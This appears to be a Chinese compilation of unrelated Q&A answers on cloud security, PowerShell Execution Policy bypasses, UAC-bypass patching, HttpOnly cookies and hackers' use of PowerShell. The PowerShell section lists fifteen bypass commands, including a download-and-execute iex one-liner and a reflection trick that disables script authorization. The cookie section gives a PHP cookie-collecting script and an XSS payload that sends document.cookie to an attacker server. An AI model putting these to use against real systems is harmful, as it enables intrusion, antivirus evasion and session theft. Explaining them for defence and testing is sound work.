本文目录一览：
- 1、云计算应用存在哪些问题，采取哪些安全防护措施
- 2、哪些方法可以绕过PowerShell Execution Policy
- 3、exploit.win32.bypassuac.wk打什么补丁
- 4、如何HttpOnly的cookie与AJAX请求工作
- 5、黑客 为什么 用powershell
云计算应用存在哪些问题，采取哪些安全防护措施
云计算存在的一些问题:
虚拟化安全问题：如果物理主机受到破坏，其所管理的虚拟服务器由于存在和物理主机的交流，有可能被攻克，若物理主机和虚拟机不交流，则可能存在虚拟机逃逸。如果物理主机上的虚拟网络受到破坏，由于存在物理主机和虚拟机的交流，以及一台虚拟机监控另一台虚拟机的场景，导致虚拟机也会受到损害。
2.数据集中的安全问题：用户的数据存储、处理、网络传输等都与云计算系统有关，包括如何有效存储数据以避免数据丢失或损坏，如何对多租户应用进行数据隔离，如何避免数据服务被阻塞等等。
3.云平台可用性问题：用户的数据和业务应用处于云平台遭受攻击的问题系统中，其业务流程将依赖于云平台服务连续性、SLA和IT流程、安全策略、事件处理和分析等提出了挑战。另外，当发生系统故障时，如何保证用户数据的快速恢复也成为一个重要问题。
4.云平台遭受攻击的问题：云计算平台由于其用户、信息资源的高度集中，容易成为黑客攻击的目标，由此拒绝服务造成的后果和破坏性将会明显超过传统的企业网应用环境。
5.法律风险：云计算应用地域弱、信息流动性大，信息服务或用户数据可能分布在不同地区甚至是不同国家，在政府信息安全监管等方面存在法律差异与纠纷;同时由于虚拟化等技术引起的用户间物理界限模糊可能导致的司法取证问题也不容忽视
云计算的安全防护措施：
1基础设施安全
基础设施安全包括服务器系统安全、网络管理系统安全、域名系统安全、网络路由系统安全、局域网和VLAN配置等。主要的安全措施包括安全冗余设计、漏洞扫描与加固，IPS/IDS、DNSSec等。考虑到云计算环境的业务持续性，设备的部署还须要考虑到高可靠性的支持，诸如双机热备、配置同步，链路捆绑聚合及硬件Bypass等特性，实现大流量汇聚情况下的基础安全防护。
2数据安全
云数据安全包含的内容远远不只是简单的数据加密。数据安全的需求随着三种服务模式，四种部署模式(公共云、私有云、社区云、混合云)以及对风险的承受能力而变化。满足云数据安全的要求，需要应用现有的安全技术，并遵循健全的安全实践，必须对各种防范措施进行全盘考虑，使其构成一道弹性的屏障。主要安全措施包括对不同用户数据进行虚拟化的逻辑隔离、使用身份认证及访问管理技术措施等，从而保障静态数据和动态数据的保密性、完整性、可用性、真实性、授权、认证和不可抵赖性。
3虚拟化安全
虚拟化的安全包括两方面的问题：一是虚拟技术本身的安全，二是虚拟化引入的新的安全问题。虚拟技术有许多种，最常用的是虚拟机(VM)技术，需考虑VM内的进程保护，此外还有Hypervisor和其他管理模块这些新的攻击层面。可以采用的安全措施有：虚拟镜像文件的加密存储和完整性检查、VM的隔离和加固、VM访问控制、虚拟化脆弱性检查、VM进程监控、VM的安全迁移等。
4身份认证与访问管理(IAM，IdentityandAccessManagement)
IAM是用来管理数字身份并控制数字身份如何访问资源的方法、技术和策略，用于确保资源被安全访问的业务流程和管理手段，从而实现对企业信息资产进行统一的身份认证、授权和身份数据集中化的管理与审计。IAM是保证云计算安全运行的关键所在。传统的IAM管理范畴，例如自动化管理用户账号、用户自助式服务、认证、访问控制、单点登录、职权分离、数据保护、特权用户管理、数据防丢失保护措施与合规报告等，都与云计算的各种应用模式息息相关。
IAM并不是一个可以轻易部署并立即产生效果的整体解决方案，而是一个由各种技术组件、过程和标准实践组成的体系架构。标准的企业级IAM体系架构包含技术、服务和过程等几个层面，其部署体系架构的核心是目录服务，目录服务是机构用户群的身份、证书和用户属性的信息库。
5应用安全
由于云环境的灵活性、开放性以及公众可用性等特性，给应用安全带来了很多挑战。云计算的应用主要通过Web浏览器实现。因此，在云计算中，对于应用安全，尤其需要注意的是Web应用的安全。要保证SaaS的应用安全，就要在应用的设计开发之初，制定并遵循适合SaaS模式的安全开发生命周期规范和流程，从整体生命周期上去考虑应用安全。可以采用的防护措施有访问控制、配置加固、部署应用层防火墙等。
哪些方法可以绕过PowerShell Execution Policy
默认情况下，PowerShell禁止PowerShell脚本在Windows系统中执行。这会妨碍渗透测试员，系统管理员，和开发人员……在这里我将在没有系统管理员权限的情况下通过15个方法来绕过PowerShell execution policy。
我肯定还有很多的技术漏了（或者我根本不知道），但希望这篇文章将给需要它的人提供一个良好的开端。
什么是PowerShell Execution Policy?
PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下，它是“ Restricted ”(限制)的。然而，这个设置从来没有算是一种安全控制。相反，它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。包括一些微软提供的。更多关于在PowerShell执行政策设置，默认的安全控制的设置。我建议阅读Carlos Perez的 博客 。他提供了一个很好的概述。
为什么要绕过执行政策？
我听到的最多的原因是因为人们希望实现自动化操作，但下面还有一些其他原因致使PowerShell在管理员、渗透测试员、黑客们手中如此流行：
支持Windows
能调用Windows API
能在不写入磁盘的情况下运行命令
能避免病毒的检测
总是被标记为"信任"。是大部分应用程序的白名单一员。
曾写出过许多的开源渗透测试工具包
如何查看Execution Policy
在能够使用所有完美功能的PowerShell之前，攻击者可以绕过“Restricted”(限制)execution
policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为
“Restricted”(限制)，如下图所示
PS C: Get-ExecutionPolicy
同样值得注意的是execution policy可以在系统中设置不同的级别。要查看他们使用下面的命令列表。更多信息可以点击这里查看微软的“Set-ExecutionPolicy” 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
实验环境说明
在下面的例子中我将使用一个名为runme.ps1的脚本，它将包含以下PowerShell命令来写出一个消息到控制台：
Write-Host "My voice is my passport, verify me."
当我试图在一个带有默认execution policy的系统上执行它时，我得到以下错误：
如果你目前的execution
policy是开放的，你想让它更严格的测试，下面的技巧，然后从管理员PowerShell控制台运行命令“Set-ExecutionPolicy
Restricted”。OK，那我接着BB了，接下来我会通过15种方法来绕过PowerShell execution policy的限制。
绕过PowerShell Execution Policy
1. 把脚本直接粘贴到交互式的PowerShell控制台
复制并粘贴你的PowerShell脚本为一个交互式控制台如下图所示。但是，请记住，你将被当前用户权限限制。这是最基本的例子，当你有一个交互控制台时，可以方便快速地运行脚本。此外，这种技术不会更改配置或需要写入磁盘。
2. Echo脚本并PowerShell的标准输入
简单的ECHO脚本到PowerShell的标准输入。这种技术不会导致配置的更改或要求写入磁盘。
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
3. 从文件中读取脚本并通过PowerShell的标准输入
使用Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输入到标准的
PowerShell中，这种技术不会导致配置文件的更改，但是需要写入磁盘。然而，如果你想试图避免写到磁盘，你可以从网络上读取你的脚本。
例1:Get-Content Powershell命令
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
例2:Type 命令
TYPE .runme.ps1 | PowerShell.exe -noprofile -
4. 从网络上下载脚本并通过IEX执行它
这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘。它也不会导致任何配置更改。我已经看到它有许多创造性的使用方法，但最近看到它被引用到一个不错的Matt Graeber的PowerSploit博客上。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('')"
5. 使用Command
这种技术和通过复制和粘贴来执行一个脚本是非常相似的，但它可以做没有交互式控制台。这是很好的方式适合执行简单的脚本，但更复杂的脚本通常容易出现错误。这种技术不会导致配置更改或要求写入磁盘。
例1:完整的命令
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
例2:简短的命令
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
6. 使用EncodeCommand
这和使用"Command"命令非常像，但它为所有的脚本提供了一个Unicode /
Base64编码串。通过这种方式加密你的脚本可以帮你绕过所有通过"Command"执行时会遇到的错误。这种技术不会导致配置文件的更改或要求写入磁
盘。下面的示例来自 Posh-SecMod。
例1: 完整的命令
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
例2: 通过简短的命令使用编码串
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7. 使用Invoke-Command命令
我在obscuresec的博客看到了这种有趣的方法。这是一个典型的通过交互式PowerShell控制台执行的方法。但最酷的是当PowerShell远程处理开启时我可以用它来对远程系统执行命令。这种技术不会导致配置更改或要求写入磁盘。
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
基于obscuresec博客，下面的命令还可以用来抓取从远程计算机的execution policy并将其应用到本地计算机。
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8. 使用Invoke-Expression命令
这是另一个典型的通过交互式PowerShell控制台执行的方法。这种技术不会导致配置更改或要求写入磁盘。下面我列举了一些常用的方法来通过Invoke-Expression绕过execution policy。
例1：使用Get-Content的完整命令
Get-Content .runme.ps1 | Invoke-Expression
例2：使用Get-Content的简短的命令
GC .runme.ps1 | iex
9.使用"Bypass"标记Execution Policy
当你通过脚本文件执行命令的时候这是一个很好的绕过execution policy的方法。当你使用这个标记的时候"没有任何东西被阻止，没有任何警告或提示"。这种技术不会导致配置更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
10. 使用"Unrestricted"标记Execution Policy
这类似于"Bypass"标记。当你使用这个标记的时候,它会"加载所有的配置文件并运行所有的脚本。如果你运行从网上下载的一个未被签名的脚本，它会提示你需要权限",这种技术不会导致配置的更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
11. 使用 "Remote-Signed"标记Execution Policy
创建你的脚本，然后按照教程的操作。最后，使用下面的命令运行它：
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. 通过交换AuthorizationManager禁用ExecutionPolicy
这真是一个我碰到的来自的创意。下面的函数可以通过一个交互式的PowerShell来执行。一旦函数
被调用"AuthorizationManager"就会被替换成空。最终结果是，接下来的会话基本上不受execution
policy的限制。然而，它的变化将被应用于会话的持续时间。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy .runme.ps1
13. 把ExcutionPolicy设置成Process Scope
正如我们在引言中所看到的，执行策略可以应用于多层次的。这包括你控制的过程。使用这种技术，执行策略可以被设置为您的会话的持续时间不受限制。此外，它不会导致在配置更改，或需要写入到磁盘。我最初发现这种技术来自r007break博客。
Set-ExecutionPolicy Bypass -Scope Process
14. 通过命令设置ExcutionPolicy为CurrentUser Scope
这种方法和上面那种类似。但是这种方法通过修改注册表将当前用户环境的设置应用到当前用户的环境中。此外，它不会导致在配置更改，或需要写入到磁盘。我最初发现这种技术来自r007break博客。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15. 通过注册表设置ExcutionPolicy为CurrentUser Scope
在这个例子中，我展示了如何通过修改注册表项来改变当前用户的环境的执行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
总结
我觉得这里的主题是：使用的execution policy不一定是开发商，管理员，或者。微软从来没有打算将它成为一个安全控制。这就是为什么有这么多选择绕过它。微软很好地提供了一些本地选项和安全社区也拿出一些真正有趣的把戏。
exploit.win32.bypassuac.wk打什么补丁
微软的系统比较大，比较复杂。
因此总有考虑不周的地方。有些病毒或者黑客就利用微软的漏洞进行攻击。微软发现漏洞后就发布一些补丁程序。 我们得到微软的补丁程序后安装到计算机上就叫打补丁。
如何HttpOnly的cookie与AJAX请求工作
随着B/S的普及，我们平时上网都是依赖于http协议完成，而Http是无状态的，即同一个会话的连续两个请求互相不了解，他们由最新实例化的环境进行解析，除了应用本身可能已经存储在全局对象中的所有信息外，该环境不保存与会话有关的任何信息，http是不会为了下一次连接而维护这次连接所传输的信息的。所以为了在每次会话之间传递信息，就需要用到cookie和session，无论是什么，都是为了让服务器端获得一个token来检查合法性，很多时候都是在cookie中存储一个sessionID，服务器来识别该用户，那么安全隐患也就引申而出了，只要获得这个cookie，就可以取得别人的身份，特别是管理员等高级权限帐号时，危害就大了，而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。
那么如何获得Cookie劫持呢?在浏览器中的document对象中，就储存了Cookie的信息，而利用js可以把这里面的Cookie给取出来，只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。
接收cookie的PHP文件ck.php为：
?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'br IP: ' .$ip. 'br Date and Time: ' .$time. 'br Referer: '.$referer.'brbrbr');
fclose($fp);
?
把这个文件放在自己的服务器上，比如我们搭建的服务器为： .
那么构造XSS语句：
scriptwindow.open(''+document.cookie)/script
当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。
说了这么多，貌似还没有提到HttpOnly，这是哪般？莫及！这就到了！如何保障我们的Cookie安全呢？Cookie都是通过document对象获取的，我们如果能让cookie在浏览器中不可见就可以了，那HttpOnly就是在设置cookie时接受这样一个参数，一旦被设置，在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响，因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候)，应用程序也一般不会在JS里操作这些敏感Cookie的，对于一些敏感的Cookie我们采用HttpOnly，对于一些需要在应用程序中用JS操作的cookie我们就不予设置，这样就保障了Cookie信息的安全也保证了应用。
给浏览器设置Cookie的头如下：
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问，则为 true；否则为 false。默认值为 false。
但是，也可以看到HttpOnly并不是万能的，首先它并不能解决XSS的问题，仍然不能抵制一些有耐心的黑客的攻击，甚至一些基于XSS的proxy也出现了，但是已经可以提高攻击的门槛了，起码XSS攻击不是每个脚本小子都能完成的了，而且其他的那些攻击手法因为一些环境和技术的限制，并不像Cookie窃取这种手法一样通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的，关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来，利用Ajax或者flash就可以完成这种攻击，这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo，大家知道phpinfo会将浏览器发送的http头回显出来，其中就包括我们保护的auth信息，而这个页面经常存在在各种站点上，只要用ajax取phpinfo页面，取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露，这种攻击方式对于基本验证保护的页面一样可以攻击。
HttpOnly在IE 6以上，Firefox较新版本都得到了比较好的支持，并且在如Hotmail等应用程序里都有广泛的使用，并且已经是取得了比较好的安全效果。
那问题就来了，大家想想，HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie， 实际是浏览器通过协议实现限制的，黑客可不会那么傻，肯定不会用HTTP协议来读取cookie，肯定是在socket层面写抓包程序，相当于写一个低于IE6版本的应用程序。
所以，HttpOnly并不是万能的。
黑客 为什么 用powershell
owershell是windows下面非常强大的命令行工具，并且在windows中Powershell可以利用.NET Framework的强大功能，也可以调用windows API，在win7/server 2008以后，powershell已被集成在系统当中。 除此之外，使用powershell能很好的bypass各种AV，在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。